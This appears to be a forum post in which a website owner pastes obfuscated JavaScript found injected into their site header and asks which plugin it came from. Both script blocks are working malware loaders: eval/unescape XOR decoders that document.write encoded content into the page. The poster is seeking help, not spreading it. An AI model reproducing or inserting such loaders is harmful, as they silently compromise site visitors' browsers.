spnweb

i found this weird code in the header

<script type="text/javascript">
<!--
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%62%30%37%36%64%30%33%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%37%32%31%35%38%36%36%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%35%36%36%31%34%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%33%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%62%30%37%36%64%30%33%28%27') + '%3e%6b%6e%6d%6b%1e%69%67%6f%3c%25%74%77%71%6b%6a%76%66%61%64%74%22%1b%67%65%3c%23%64%62%72%5c%5f%66%69%75%64%6e%75%58%67%73%6e%6a%68%5c%58%6a%5a%6b%6e%68%2c%77%73%7e%6f%61%73%63%67%64%77%2b%64%76%77%26%15%1b%66%6c%64%66%3c%22%64%75%77%6a%35%24%2a%77%77%72%2e%72%76%61%6b%60%6a%73%78%2d%6f%6c%62%29%28%29%31%35%34%2b%76%65%2c%63%6f%6d%74%64%6d%70%28%6b%6e%70%6c%60%68%73%2a%65%6a%75%63%6b%77%59%62%79%60%6f%68%59%5b%69%2c%6c%6b%6a%2b%72%79%70%6a%61%76%29%66%58%5e%5a%69%2c%62%78%76%3f%70%64%6a%3c%28%2a%2a%22%1a%73%7e%6b%61%39%22%74%64%73%70%28%66%77%72%2c%1b%69%61%67%63%58%3c%25%5a%6f%6e%26%15%2a%38%09%01%0f%01%3f%71%64%69%61%6f%79%1b%72%75%6b%67%3c%22%70%66%73%76%2e%6f%58%70%5d%76%65%69%60%6c%75%22%1a%72%67%66%39%27%63%74%77%6b%36%28%2a%73%76%7c%2d%77%73%66%6a%60%6b%70%74%2d%6b%6d%6c%2a%6e%6f%6b%2e%61%76%25%3f%3f%2b%72%68%69%65%6e%77%3e%0c%01%0b%03%3f%77%62%67%60%6e%72%1b%74%70%6b%63%3e%22%76%60%7d%77%2f%64%58%76%58%76%61%6b%60%6a%73%2c%1b%73%6c%66%3f%22%63%70%75%6b%30%2e%24%72%77%77%2d%71%76%66%6e%62%6b%76%72%23%6a%6c%67%2a%2b%29%36%30%36%2a%73%6f%22%66%6f%68%77%67%6d%77%2d%69%6f%75%66%6e%6d%73%2f%66%69%75%64%6e%75%58%67%73%6e%6a%68%5c%58%6a%2c%6b%6e%68%2a%77%62%67%60%6e%72%76%29%60%6c%75%5b%5a%67%5c%57%5a%73%63%69%63%6b%77%2a%63%76%3b%71%6a%69%39%2d%2d%2b%22%3d%38%28%76%67%6d%6e%6b%72%38%0c%02%0c%01%38%74%66%68%64%65%77%1e%72%70%68%64%3c%25%75%64%72%73%24%61%5d%70%58%75%66%69%67%69%77%23%39%02%01%2f%24%1b%3c%18%5e%41%45%38%56%3c%50%1b%24%2f%0c%02%75%58%6e%19%40%4d%56%37%5a%43%3d%39%59%38%61%5f%71%1b%3d%1f%70%19%5d%64%58%70%74%69%68%1b%31%18%67%79%77%6e%34%5f%29%5f%2a%75%70%72%2c%76%78%66%6c%65%6b%74%76%2d%6d%6b%62%5e%2e%26%29%33%32%34%5c%2a%72%6c%2e%58%66%68%6e%6d%5a%2f%58%64%6c%60%6a%2e%58%60%5c%7d%2d%6e%66%6b%1a%2f%19%6a%68%6d%67%60%17%31%1c%2e%28%31%32%33%34%37%2b%34%61%17%7c%3b%09%01%29%21%1b%5b%5e%3d%1a%25%24%0c%04%3a%2a%75%66%69%67%69%77%3c7215866%37%32%38%36%33%33%36' + unescape('%27%29%29%3b'));
// -->
</script>
<script type="text/javascript">
<!--
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%71%31%31%38%64%37%65%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%32%33%38%31%38%32%38%30%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%35%39%35%33%33%38%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%33%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%71%31%31%38%64%37%65%28%27') + '%3d%76%69%6f%67%6b%73%18%78%73%6e%61%32%1b%77%6b%75%70%2a%65%5b%7a%5b%73%63%67%62%6b%78%1f%1c%76%6d%65%33%1a%66%72%79%69%31%25%2c%75%72%76%2e%6e%6b%71%61%67%72%64%22%60%6d%6c%2e%5b%6e%5b%76%2f%6f%6a%74%6b%6f%77%2a%65%6b%7b%67%6c%75%22%2a%2d%3a%2b%31%2d%68%63%62%2e%64%73%17%3f%3f%25%70%61%69%64%68%78%3e23818280%34%36%39%30%31%36%32' + unescape('%27%29%29%3b'));
// -->
</script>

but i dont know which plugin or page it’s coming from

thats not my database name.